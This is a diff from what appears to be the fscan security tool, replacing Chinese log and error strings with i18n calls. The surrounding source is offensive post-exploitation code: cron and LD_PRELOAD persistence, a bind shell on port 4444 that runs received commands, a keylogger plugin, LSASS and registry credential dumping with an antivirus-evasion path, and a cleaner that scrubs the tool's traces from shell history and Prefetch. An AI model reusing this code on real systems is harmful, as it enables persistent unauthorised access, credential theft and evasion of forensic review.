@@ -172,7 +174,7 @@ func (v *VScan) parseProbesFromContent(content string) error {
// 验证文件内容
if len(lines) == 0 {
return fmt.Errorf("读取nmap-service-probes文件失败: 内容为空")
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_file_empty"))
}
// 检查Exclude指令
@@ -182,14 +184,14 @@ func (v *VScan) parseProbesFromContent(content string) error {
excludeCount++
}
if excludeCount > 1 {
return fmt.Errorf("nmap-service-probes文件中只允许有一个Exclude指令")
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_exclude_duplicate"))
}
}
// 验证第一行格式
firstLine := lines[0]
if !strings.HasPrefix(firstLine, "Exclude ") && !strings.HasPrefix(firstLine, "Probe ") {
return fmt.Errorf("解析错误: 首行必须以\"Probe \"或\"Exclude \"开头")
return fmt.Errorf("%s", i18n.GetText("portfinger_probe_first_line_invalid"))
}
// 处理Exclude指令
+7 -7
View File
@@ -11,6 +11,7 @@ import (
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/core/portfinger"
)
@@ -171,7 +172,6 @@ func (s *SmartPortInfoScanner) tryInitialBanner() ([]byte, error) {
return response, nil
}
// smartProbeStrategy 智能探测策略
// 改进版:使用 nmap-service-probes.txt 中的 ports 字段和 rarity 排序
func (s *SmartPortInfoScanner) smartProbeStrategy() {
@@ -392,7 +392,7 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
func (i *Info) GetInfo(response []byte, probe *Probe) {
// 响应数据有效性检查
if len(response) <= 0 {
common.LogDebug("响应数据为空")
common.LogDebug(i18n.GetText("service_probe_empty_response"))
return
}
@@ -460,12 +460,12 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
common.LogDebug("特殊处理 microsoft-ds 服务")
common.LogDebug(i18n.GetText("service_probe_microsoft_ds"))
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
common.LogDebug(i18n.Tr("service_probe_identified", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
@@ -477,10 +477,10 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so
bannerLower := strings.ToLower(result.Banner)
if strings.Contains(bannerLower, "http/") ||
strings.Contains(bannerLower, "html") {
common.LogDebug("识别为HTTP服务")
common.LogDebug(i18n.GetText("service_probe_http_identified"))
result.Service.Name = "http"
} else {
common.LogDebug("未知服务")
common.LogDebug(i18n.GetText("service_probe_unknown"))
result.Service.Name = "unknown"
}
} else {
@@ -488,7 +488,7 @@ func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, so
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
common.LogDebug(i18n.Tr("service_probe_soft_match", result.Service.Name))
}
}
+1 -1
View File
@@ -21,7 +21,7 @@ type ServiceScanStrategy struct {
// NewServiceScanStrategy 创建新的服务扫描策略
func NewServiceScanStrategy() *ServiceScanStrategy {
return &ServiceScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("服务扫描", FilterService),
BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_service_name"), FilterService),
}
}
+1 -1
View File
@@ -303,7 +303,7 @@ type WebScanStrategy struct {
// NewWebScanStrategy 创建新的Web扫描策略
func NewWebScanStrategy() *WebScanStrategy {
return &WebScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("Web扫描", FilterWeb),
BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_web_name"), FilterWeb),
}
}
+1 -1
View File
@@ -231,7 +231,7 @@ func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface
argValue = argValue.Convert(expectedType)
} else {
// 打印错误信息,类型不匹配
fmt.Printf("无法将参数 %v(类型 %v)转换为所需类型 %v\n", arguments[i], argValue.Type(), expectedType)
fmt.Printf("failed to convert argument %v (type %v) to required type %v\n", arguments[i], argValue.Type(), expectedType)
continue
}
+3 -3
View File
@@ -251,7 +251,7 @@ func (g *Client) ProbeOSInfo(host, domain, user, pwd string, timeout int64, rdpP
g.pdu.On("bitmap", func(rectangles []pdu.BitmapData) {
})
g.pdu.On("done", func() {
glog.Debug("done信号触发")
glog.Debug("done signal triggered")
exitFlag <- true
})
@@ -266,10 +266,10 @@ loop:
case <-exitFlag:
break loop
case <-ctx.Done():
glog.Debug("总超时已达到,退出")
glog.Debug("total timeout reached, exiting")
break loop
}
}
glog.Debug("循环结束,总时间过去了:", time.Since(start))
glog.Debug("loop ended, elapsed time: ", time.Since(start))
return info
}
+1 -1
View File
@@ -473,7 +473,7 @@ func readDataPDU(r io.Reader) (*DataPDU, error) {
d = &FontMapDataPDU{}
case PDUTYPE2_SAVE_SESSION_INFO:
glog.Debug("SAVE_SESSION_INFO 事件触发,登录成功")
glog.Debug("SAVE_SESSION_INFO event triggered, login successful")
d = &SaveSessionInfo{}
default:
+3 -3
View File
@@ -58,7 +58,7 @@ func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []
for _, name := range names {
path := filepath.Join(dir, name)
if err := os.Remove(path); err == nil {
fmt.Fprintf(output, "[清理] %s\n", path)
fmt.Fprintln(output, i18n.Tr("cleaner_removed", path))
cleaned++
}
}
@@ -70,7 +70,7 @@ func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string)
cleaned := 0
for _, f := range matches {
if err := os.Remove(f); err == nil {
fmt.Fprintf(output, "[清理] %s\n", f)
fmt.Fprintln(output, i18n.Tr("cleaner_removed", f))
cleaned++
}
}
@@ -87,7 +87,7 @@ func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int {
}
for _, hf := range histFiles {
if p.scrubHistory(hf) {
fmt.Fprintf(output, "[清理] %s 中的 fscan 记录\n", hf)
fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf))
cleaned++
}
}
+12 -10
View File
@@ -8,6 +8,8 @@ import (
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common/i18n"
)
func cleanPersistence(output *strings.Builder) int {
@@ -52,7 +54,7 @@ func fixWinlogon(output *strings.Builder) int {
val := extractRegValue(string(out))
if val != "explorer.exe" && val != "" {
exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run()
output.WriteString(fmt.Sprintf("[恢复] Winlogon Shell: %s → explorer.exe\n", val))
output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n")
cleaned++
}
}
@@ -63,7 +65,7 @@ func fixWinlogon(output *strings.Builder) int {
defaultVal := `C:\Windows\system32\userinit.exe,`
if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" {
exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run()
output.WriteString(fmt.Sprintf("[恢复] Winlogon Userinit: %s → %s\n", val, defaultVal))
output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n")
cleaned++
}
}
@@ -77,7 +79,7 @@ func cleanIFEO(output *strings.Builder) int {
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t)
if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") {
exec.Command("reg", "delete", key, "/f").Run()
output.WriteString(fmt.Sprintf("[清理] IFEO: %s\n", t))
output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n")
cleaned++
}
}
@@ -104,7 +106,7 @@ func cleanRegistryRun(output *strings.Builder) int {
fields := strings.Fields(strings.TrimSpace(line))
if len(fields) > 0 {
exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run()
output.WriteString(fmt.Sprintf("[清理] 注册表: %s\\%s\n", key, fields[0]))
output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n")
cleaned++
}
break
@@ -129,7 +131,7 @@ func cleanScheduledTasks(output *strings.Builder) int {
if len(parts) > 0 {
name := strings.Trim(parts[0], "\"\\")
exec.Command("schtasks", "/delete", "/tn", name, "/f").Run()
output.WriteString(fmt.Sprintf("[清理] 计划任务: %s\n", name))
output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n")
cleaned++
}
break
@@ -152,7 +154,7 @@ func cleanServices(output *strings.Builder) int {
name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:"))
exec.Command("sc", "stop", name).Run()
exec.Command("sc", "delete", name).Run()
output.WriteString(fmt.Sprintf("[清理] 服务: %s\n", name))
output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n")
cleaned++
}
}
@@ -170,7 +172,7 @@ func cleanStartupFolders(output *strings.Builder) int {
matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*"))
for _, f := range matches {
if os.Remove(f) == nil {
output.WriteString(fmt.Sprintf("[清理] 启动文件夹: %s\n", f))
output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n")
cleaned++
}
}
@@ -191,7 +193,7 @@ func cleanBITS(output *strings.Builder) int {
if end := strings.Index(line[idx:], "}"); end != -1 {
guid := line[idx : idx+end+1]
exec.Command("bitsadmin", "/cancel", guid).Run()
output.WriteString(fmt.Sprintf("[清理] BITS: %s\n", guid))
output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n")
cleaned++
}
}
@@ -210,7 +212,7 @@ Write-Output 'WMI_CLEANED'
`
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
if err == nil && strings.Contains(string(out), "WMI_CLEANED") {
output.WriteString("[清理] WMI 事件订阅\n")
output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n")
cleaned++
}
return cleaned
@@ -221,7 +223,7 @@ func cleanPrefetch(output *strings.Builder) int {
matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`)
for _, f := range matches {
if os.Remove(f) == nil {
output.WriteString(fmt.Sprintf("[清理] Prefetch: %s\n", f))
output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n")
cleaned++
}
}
+21 -21
View File
@@ -42,8 +42,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if runtime.GOOS != "linux" {
return &plugins.Result{
Success: false,
Output: "计划任务持久化只支持Linux平台",
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Output: i18n.GetText("crontask_linux_only"),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
@@ -52,8 +52,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if p.targetFile == "" {
return &plugins.Result{
Success: false,
Output: "必须通过 -persistence-file 参数指定目标文件路径",
Error: fmt.Errorf("未指定目标文件"),
Output: i18n.GetText("persistence_file_required"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
@@ -61,7 +61,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return &plugins.Result{
Success: false,
Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile),
Output: i18n.Tr("target_file_not_exist", p.targetFile),
Error: err,
}
}
@@ -70,63 +70,63 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if _, err := exec.LookPath("crontab"); err != nil {
return &plugins.Result{
Success: false,
Output: "crontab命令不可用",
Output: i18n.GetText("crontab_unavailable"),
Error: err,
}
}
output.WriteString("=== 计划任务持久化 ===\n")
fmt.Fprintf(&output, "目标文件: %s\n\n", p.targetFile)
output.WriteString(i18n.GetText("crontask_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n")
var successCount int
// 1. 复制文件到持久化目录
persistPath, err := p.copyToPersistPath()
if err != nil {
fmt.Fprintf(&output, "✗ 复制文件失败: %v\n", err)
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
} else {
fmt.Fprintf(&output, "✓ 文件已复制到: %s\n", persistPath)
output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n")
successCount++
}
// 2. 添加用户crontab任务
err = p.addUserCronJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加用户cron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加用户crontab任务\n")
output.WriteString(i18n.GetText("crontask_user_added") + "\n")
successCount++
}
// 3. 添加系统cron任务
systemCronFiles, err := p.addSystemCronJobs(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加系统cron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n")
} else {
fmt.Fprintf(&output, "✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", "))
output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n")
successCount++
}
// 4. 创建at任务
err = p.addAtJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加at任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加at延时任务\n")
output.WriteString(i18n.GetText("crontask_at_added") + "\n")
successCount++
}
// 5. 创建anacron任务
err = p.addAnacronJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加anacron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加anacron任务\n")
output.WriteString(i18n.GetText("crontask_anacron_added") + "\n")
successCount++
}
// 输出统计
fmt.Fprintf(&output, "\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("crontask_success", successCount))
@@ -166,7 +166,7 @@ func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
}
if targetDir == "" {
return "", fmt.Errorf("无法创建持久化目录")
return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed"))
}
// 生成隐藏文件名
@@ -258,7 +258,7 @@ func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法创建任何系统cron任务")
return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none"))
}
return modified, nil
+10 -10
View File
@@ -48,14 +48,14 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
port = 4444
}
output.WriteString("=== 正向Shell服务器 ===\n")
fmt.Fprintf(&output, "监听端口: %d\n", port)
fmt.Fprintf(&output, "平台: %s\n\n", runtime.GOOS)
output.WriteString(i18n.GetText("forwardshell_header") + "\n")
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 启动正向Shell服务器
err := p.startForwardShellServer(ctx, port, state)
if err != nil {
fmt.Fprintf(&output, "正向Shell服务器错误: %v\n", err)
output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -63,7 +63,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
}
}
output.WriteString("✓ 正向Shell服务已完成\n")
output.WriteString(i18n.GetText("forwardshell_done") + "\n")
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
return &plugins.Result{
@@ -79,7 +79,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
}
defer func() { _ = listener.Close() }()
@@ -169,7 +169,7 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
_, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS)
_, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS))
return
}
@@ -182,18 +182,18 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
_, _ = conn.Write([]byte("命令执行超时\n"))
_, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n"))
return
}
if err != nil {
_, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err)
_, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err))
return
}
// 发送命令输出
if len(output) == 0 {
_, _ = conn.Write([]byte("(命令执行成功,无输出)\n"))
_, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n"))
} else {
_, _ = conn.Write(output)
if !strings.HasSuffix(string(output), "\n") {
+23 -23
View File
@@ -46,13 +46,13 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
outputFile = "keylog.txt"
}
output.WriteString("=== 键盘记录 ===\n")
output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("keylogger_header") + "\n")
output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 检查输出文件权限
if err := p.checkOutputFilePermissions(outputFile); err != nil {
output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err))
output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -62,7 +62,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 检查平台要求
if err := p.checkPlatformRequirements(); err != nil {
output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err))
output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -73,7 +73,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 启动键盘记录
err := p.startKeylogging(ctx, outputFile)
if err != nil {
output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err))
output.WriteString(i18n.Tr("keylogger_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -82,9 +82,9 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
}
// 输出结果
output.WriteString("✓ 键盘记录已完成\n")
output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)))
output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile))
output.WriteString(i18n.GetText("keylogger_done") + "\n")
output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n")
output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n")
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
@@ -109,11 +109,11 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
case "darwin":
err = p.startDarwinKeylogging(ctx)
default:
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
}
if err != nil {
return fmt.Errorf("键盘记录失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err)
}
// 保存到文件
@@ -128,7 +128,7 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error {
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err)
return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err)
}
_ = file.Close()
return nil
@@ -144,7 +144,7 @@ func (p *KeyloggerPlugin) checkPlatformRequirements() error {
case "darwin":
return p.checkDarwinRequirements()
default:
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
}
}
@@ -170,25 +170,25 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法打开输出文件: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err)
}
defer func() { _ = file.Close() }()
// 写入头部信息
header := "=== 键盘记录日志 ===\n"
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
header := i18n.GetText("keylogger_log_header") + "\n"
header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n"
header += i18n.Tr("local_platform", runtime.GOOS) + "\n"
header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n"
header += "========================\n\n"
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("写入头部信息失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("写入键盘记录失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err)
}
}
@@ -199,7 +199,7 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
// Windows平台键盘记录实现
// 在实际实现中需要使用Windows API
p.addKeyToBuffer("演示键盘记录 - Windows平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows"))
// 模拟记录一段时间
select {
@@ -215,7 +215,7 @@ func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
// Linux平台键盘记录实现
// 在实际实现中需要访问/dev/input/event*设备
p.addKeyToBuffer("演示键盘记录 - Linux平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux"))
// 模拟记录一段时间
select {
@@ -231,7 +231,7 @@ func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
// macOS平台键盘记录实现
// 在实际实现中需要使用Core Graphics框架
p.addKeyToBuffer("演示键盘记录 - macOS平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin"))
// 模拟记录一段时间
select {
+21 -21
View File
@@ -38,28 +38,28 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
// 从config获取配置
targetFile := config.PersistenceTargetFile
if targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -69,58 +69,58 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 检查文件类型
if !p.isValidFile(targetFile) {
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile))
output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("无效文件类型"),
Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")),
}
}
output.WriteString("=== LD_PRELOAD持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("ldpreload_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
var successCount int
// 1. 复制文件到系统目录
systemPath, err := p.copyToSystemPath(targetFile)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n")
successCount++
}
// 2. 添加到全局环境变量
err = p.addToEnvironment(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加到全局环境变量\n")
output.WriteString(i18n.GetText("ldpreload_env_added") + "\n")
successCount++
}
// 3. 添加到shell配置文件
shellConfigs, err := p.addToShellConfigs(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n")
successCount++
}
// 4. 创建库配置文件
err = p.createLdConfig(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n")
} else {
output.WriteString("✓ 已创建ld预加载配置\n")
output.WriteString(i18n.GetText("ldpreload_config_created") + "\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
@@ -154,7 +154,7 @@ func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) {
}
if targetDir == "" {
return "", fmt.Errorf("找不到合适的系统库目录")
return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found"))
}
// 生成目标路径
@@ -252,7 +252,7 @@ func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何shell配置文件")
return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none"))
}
return modified, nil
+40 -40
View File
@@ -96,11 +96,11 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
// 检查管理员权限
if !p.isAdmin() {
return &plugins.Result{Success: false, Output: "需要管理员权限\n", Error: errors.New("需要管理员权限")}
return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))}
}
if err := p.loadSystemDLLs(); err != nil {
return &plugins.Result{Success: false, Output: fmt.Sprintf("加载系统DLL失败: %v\n", err), Error: err}
return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err}
}
defer p.releaseSystemDLLs()
@@ -109,39 +109,39 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
if !avActive {
output.WriteString("[*] 尝试直接内存转储...\n")
output.WriteString(i18n.GetText("minidump_try_direct") + "\n")
if ok := p.tryDirectDump(ctx, pm, &output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
} else {
output.WriteString("[*] 检测到杀软防护,跳过直接dump\n")
output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n")
}
// 方式2comsvcs.dll(系统签名DLL,部分杀软不拦截)
output.WriteString("[*] 尝试 comsvcs.dll 方式...\n")
output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n")
if ok := p.tryComsvcsDump(pm, &output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
// 方式3reg save 导出注册表 hive(离线破解,不碰 LSASS)
output.WriteString("[*] 尝试 reg save 导出注册表...\n")
output.WriteString(i18n.GetText("minidump_try_regsave") + "\n")
if ok := p.tryRegSave(&output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
output.WriteString("[!] 所有方式均失败\n")
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New("所有凭据提取方式均失败")}
output.WriteString(i18n.GetText("minidump_all_failed") + "\n")
